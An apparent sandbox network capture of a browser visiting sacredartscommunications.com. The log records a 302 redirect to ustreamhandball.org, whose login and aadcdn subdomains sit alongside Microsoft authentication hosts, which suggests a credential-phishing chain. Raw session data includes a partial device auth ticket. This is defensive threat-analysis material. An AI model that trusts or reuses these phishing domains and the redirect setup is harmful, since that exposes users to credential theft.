Jan 10, 2025 00:21:01.703943968 CET	192.168.2.6	1.1.1.1	c24e	(Port unreachable)	Destination Unreachable
Jan 10, 2025 00:21:15.306992054 CET	192.168.2.6	1.1.1.1	c231	(Port unreachable)	Destination Unreachable
Jan 10, 2025 00:21:20.121906996 CET	192.168.2.6	1.1.1.1	c286	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 00:20:59.756129980 CET	192.168.2.6	1.1.1.1	0xea79	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:20:59.756345987 CET	192.168.2.6	1.1.1.1	0x8326	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 10, 2025 00:21:01.259057045 CET	192.168.2.6	1.1.1.1	0x50a1	Standard query (0)	sacredartscommunications.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:01.259366989 CET	192.168.2.6	1.1.1.1	0xa7a1	Standard query (0)	sacredartscommunications.com	65	IN (0x0001)	false
Jan 10, 2025 00:21:02.371357918 CET	192.168.2.6	1.1.1.1	0x6a86	Standard query (0)	www.ustreamhandball.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:02.371558905 CET	192.168.2.6	1.1.1.1	0x4edb	Standard query (0)	www.ustreamhandball.org	65	IN (0x0001)	false
Jan 10, 2025 00:21:03.193052053 CET	192.168.2.6	1.1.1.1	0x4a31	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:03.193252087 CET	192.168.2.6	1.1.1.1	0xde7f	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 10, 2025 00:21:03.193763971 CET	192.168.2.6	1.1.1.1	0xe9c0	Standard query (0)	upload.wikimedia.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:03.194190025 CET	192.168.2.6	1.1.1.1	0x7bfb	Standard query (0)	upload.wikimedia.org	65	IN (0x0001)	false
Jan 10, 2025 00:21:04.185024977 CET	192.168.2.6	1.1.1.1	0x62fd	Standard query (0)	upload.wikimedia.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:04.185174942 CET	192.168.2.6	1.1.1.1	0x2d00	Standard query (0)	upload.wikimedia.org	65	IN (0x0001)	false
Jan 10, 2025 00:21:04.601912022 CET	192.168.2.6	1.1.1.1	0x6ee4	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:04.602118015 CET	192.168.2.6	1.1.1.1	0x8e71	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 10, 2025 00:21:04.626565933 CET	192.168.2.6	1.1.1.1	0xa370	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:04.626720905 CET	192.168.2.6	1.1.1.1	0xaca6	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 10, 2025 00:21:12.022453070 CET	192.168.2.6	1.1.1.1	0xb45e	Standard query (0)	login.ustreamhandball.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:12.022696972 CET	192.168.2.6	1.1.1.1	0x782c	Standard query (0)	login.ustreamhandball.org	65	IN (0x0001)	false
Jan 10, 2025 00:21:14.418046951 CET	192.168.2.6	1.1.1.1	0x6b0	Standard query (0)	aadcdn.ustreamhandball.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:14.418209076 CET	192.168.2.6	1.1.1.1	0x221c	Standard query (0)	aadcdn.ustreamhandball.org	65	IN (0x0001)	false
Jan 10, 2025 00:21:15.282471895 CET	192.168.2.6	1.1.1.1	0x6a9f	Standard query (0)	login.ustreamhandball.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:15.282731056 CET	192.168.2.6	1.1.1.1	0x41c8	Standard query (0)	login.ustreamhandball.org	65	IN (0x0001)	false
Jan 10, 2025 00:21:16.136656046 CET	192.168.2.6	1.1.1.1	0xba50	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:16.137090921 CET	192.168.2.6	1.1.1.1	0x4995	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 10, 2025 00:21:16.148756027 CET	192.168.2.6	1.1.1.1	0xc366	Standard query (0)	aadcdn.ustreamhandball.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:16.148931980 CET	192.168.2.6	1.1.1.1	0x5f54	Standard query (0)	aadcdn.ustreamhandball.org	65	IN (0x0001)	false
Jan 10, 2025 00:21:17.500650883 CET	192.168.2.6	1.1.1.1	0x79c9	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:17.500866890 CET	192.168.2.6	1.1.1.1	0x72aa	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 10, 2025 00:21:20.098825932 CET	192.168.2.6	1.1.1.1	0xb339	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:20.099200010 CET	192.168.2.6	1.1.1.1	0x8523	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 00:20:59.762888908 CET	1.1.1.1	192.168.2.6	0xea79	No error (0)	www.google.com		142.250.186.68	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:20:59.763396978 CET	1.1.1.1	192.168.2.6	0x8326	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 10, 2025 00:21:01.496705055 CET	1.1.1.1	192.168.2.6	0x50a1	No error (0)	sacredartscommunications.com		192.185.25.242	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:02.380232096 CET	1.1.1.1	192.168.2.6	0x6a86	No error (0)	www.ustreamhandball.org	ustreamhandball.org		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:21:02.380232096 CET	1.1.1.1	192.168.2.6	0x6a86	No error (0)	ustreamhandball.org		165.140.202.155	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:03.199914932 CET	1.1.1.1	192.168.2.6	0x4a31	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:03.199914932 CET	1.1.1.1	192.168.2.6	0x4a31	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:03.200337887 CET	1.1.1.1	192.168.2.6	0xde7f	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 10, 2025 00:21:03.200975895 CET	1.1.1.1	192.168.2.6	0xe9c0	No error (0)	upload.wikimedia.org		185.15.59.240	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:04.192384005 CET	1.1.1.1	192.168.2.6	0x62fd	No error (0)	upload.wikimedia.org		185.15.59.240	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:04.608854055 CET	1.1.1.1	192.168.2.6	0x6ee4	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:04.608854055 CET	1.1.1.1	192.168.2.6	0x6ee4	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:04.609837055 CET	1.1.1.1	192.168.2.6	0x8e71	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 10, 2025 00:21:04.633080959 CET	1.1.1.1	192.168.2.6	0xa370	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:04.633080959 CET	1.1.1.1	192.168.2.6	0xa370	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:04.633364916 CET	1.1.1.1	192.168.2.6	0xaca6	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 10, 2025 00:21:12.040154934 CET	1.1.1.1	192.168.2.6	0xb45e	No error (0)	login.ustreamhandball.org	ustreamhandball.org		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:21:12.040154934 CET	1.1.1.1	192.168.2.6	0xb45e	No error (0)	ustreamhandball.org		165.140.202.155	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:14.439135075 CET	1.1.1.1	192.168.2.6	0x6b0	No error (0)	aadcdn.ustreamhandball.org	ustreamhandball.org		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:21:14.439135075 CET	1.1.1.1	192.168.2.6	0x6b0	No error (0)	ustreamhandball.org		165.140.202.155	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:15.291338921 CET	1.1.1.1	192.168.2.6	0x6a9f	No error (0)	login.ustreamhandball.org	ustreamhandball.org		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:21:15.291338921 CET	1.1.1.1	192.168.2.6	0x6a9f	No error (0)	ustreamhandball.org		165.140.202.155	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:16.143138885 CET	1.1.1.1	192.168.2.6	0xba50	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:21:16.143138885 CET	1.1.1.1	192.168.2.6	0xba50	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:21:16.143138885 CET	1.1.1.1	192.168.2.6	0xba50	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:16.145735979 CET	1.1.1.1	192.168.2.6	0x4995	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:21:16.145735979 CET	1.1.1.1	192.168.2.6	0x4995	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:21:16.157849073 CET	1.1.1.1	192.168.2.6	0xc366	No error (0)	aadcdn.ustreamhandball.org	ustreamhandball.org		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:21:16.157849073 CET	1.1.1.1	192.168.2.6	0xc366	No error (0)	ustreamhandball.org		165.140.202.155	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:17.509079933 CET	1.1.1.1	192.168.2.6	0x79c9	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:21:17.509079933 CET	1.1.1.1	192.168.2.6	0x79c9	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:21:17.509079933 CET	1.1.1.1	192.168.2.6	0x79c9	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 10, 2025 00:21:17.509579897 CET	1.1.1.1	192.168.2.6	0x72aa	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:21:17.509579897 CET	1.1.1.1	192.168.2.6	0x72aa	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:21:20.107072115 CET	1.1.1.1	192.168.2.6	0xb339	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:21:20.121814013 CET	1.1.1.1	192.168.2.6	0x8523	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:21:20.366734982 CET	1.1.1.1	192.168.2.6	0x3d59	No error (0)	shed.dual-low.s-part-0033.t-0009.t-msedge.net	s-part-0033.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 00:21:20.366734982 CET	1.1.1.1	192.168.2.6	0x3d59	No error (0)	s-part-0033.t-0009.t-msedge.net		13.107.246.61	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

sacredartscommunications.com

www.ustreamhandball.org

https:

challenges.cloudflare.com

upload.wikimedia.org

aadcdn.ustreamhandball.org

aadcdn.msftauth.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49709	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:20:53 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 78 70 66 59 30 58 6b 76 55 30 4b 61 51 47 6f 37 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 61 37 31 64 34 38 38 66 38 34 37 65 36 65 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: xpfY0XkvU0KaQGo7.1Context: ea71d488f847e6e6
2025-01-09 23:20:53 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-09 23:20:53 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 78 70 66 59 30 58 6b 76 55 30 4b 61 51 47 6f 37 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 61 37 31 64 34 38 38 66 38 34 37 65 36 65 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 52 7a 77 35 46 51 33 75 57 44 4a 33 49 73 36 77 2f 38 44 30 4f 32 75 73 41 35 4d 78 58 51 43 70 4a 47 54 30 50 50 55 65 4a 50 50 48 76 45 52 43 7a 47 4e 41 2f 6b 70 51 73 65 42 43 67 37 35 42 67 67 47 5a 6d 6b 41 32 68 6a 74 50 68 2b 59 75 46 48 78 48 58 4e 67 32 4f 75 51 4a 74 62 71 31 56 51 48 30 43 49 4c 46 30 76 4b 4b Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: xpfY0XkvU0KaQGo7.2Context: ea71d488f847e6e6<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWRzw5FQ3uWDJ3Is6w/8D0O2usA5MxXQCpJGT0PPUeJPPHvERCzGNA/kpQseBCg75BggGZmkA2hjtPh+YuFHxHXNg2OuQJtbq1VQH0CILF0vKK
2025-01-09 23:20:53 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 78 70 66 59 30 58 6b 76 55 30 4b 61 51 47 6f 37 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 61 37 31 64 34 38 38 66 38 34 37 65 36 65 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: xpfY0XkvU0KaQGo7.3Context: ea71d488f847e6e6<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-09 23:20:53 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-09 23:20:53 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 57 42 55 54 48 2f 6d 62 44 45 36 6b 2f 46 35 4e 76 39 67 66 49 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: WBUTH/mbDE6k/F5Nv9gfIA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49752	192.185.25.242	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:02 UTC	671	OUT	GET / HTTP/1.1 Host: sacredartscommunications.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:02 UTC	243	IN	HTTP/1.1 302 Moved Temporarily Date: Thu, 09 Jan 2025 23:21:02 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Location: https://www.ustreamhandball.org/ZspqXQij Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49745	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:02 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 47 4d 53 51 57 72 34 4c 6b 30 65 48 7a 4d 51 38 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 31 36 62 66 38 31 30 38 64 64 33 35 31 38 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: GMSQWr4Lk0eHzMQ8.1Context: 516bf8108dd3518a
2025-01-09 23:21:02 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-09 23:21:02 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 47 4d 53 51 57 72 34 4c 6b 30 65 48 7a 4d 51 38 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 31 36 62 66 38 31 30 38 64 64 33 35 31 38 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 52 7a 77 35 46 51 33 75 57 44 4a 33 49 73 36 77 2f 38 44 30 4f 32 75 73 41 35 4d 78 58 51 43 70 4a 47 54 30 50 50 55 65 4a 50 50 48 76 45 52 43 7a 47 4e 41 2f 6b 70 51 73 65 42 43 67 37 35 42 67 67 47 5a 6d 6b 41 32 68 6a 74 50 68 2b 59 75 46 48 78 48 58 4e 67 32 4f 75 51 4a 74 62 71 31 56 51 48 30 43 49 4c 46 30 76 4b 4b Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: GMSQWr4Lk0eHzMQ8.2Context: 516bf8108dd3518a<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWRzw5FQ3uWDJ3Is6w/8D0O2usA5MxXQCpJGT0PPUeJPPHvERCzGNA/kpQseBCg75BggGZmkA2hjtPh+YuFHxHXNg2OuQJtbq1VQH0CILF0vKK
2025-01-09 23:21:02 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 47 4d 53 51 57 72 34 4c 6b 30 65 48 7a 4d 51 38 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 31 36 62 66 38 31 30 38 64 64 33 35 31 38 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: GMSQWr4Lk0eHzMQ8.3Context: 516bf8108dd3518a<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-09 23:21:02 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-09 23:21:02 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 71 52 51 77 4b 58 7a 6f 66 6b 4b 75 75 42 62 4b 52 79 6f 31 58 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: qRQwKXzofkKuuBbKRyo1Xw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49759	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:02 UTC	674	OUT	GET /ZspqXQij HTTP/1.1 Host: www.ustreamhandball.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:03 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:03 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-09 23:21:03 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:03 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a Data Ascii: Content-Type: text/html
2025-01-09 23:21:03 UTC	163	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 37 32 31 31 2d 33 33 32 35 3d 65 63 39 37 36 35 66 33 61 36 63 62 33 33 34 64 33 34 33 36 38 39 33 32 62 66 38 31 39 61 31 30 32 38 64 64 32 66 37 37 31 61 61 66 31 36 35 34 38 66 39 30 64 62 62 65 31 38 62 32 65 66 36 30 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 75 73 74 72 65 61 6d 68 61 6e 64 62 61 6c 6c 2e 6f 72 67 3b 20 45 78 70 69 72 65 73 3d 46 72 69 2c 20 31 30 20 4a 61 6e 20 32 30 32 35 20 30 30 3a 32 31 3a 30 33 20 47 4d 54 0d 0a Data Ascii: Set-Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; Path=/; Domain=ustreamhandball.org; Expires=Fri, 10 Jan 2025 00:21:03 GMT
2025-01-09 23:21:03 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-09 23:21:03 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-09 23:21:03 UTC	5	IN	Data Raw: 39 66 31 0d 0a Data Ascii: 9f1
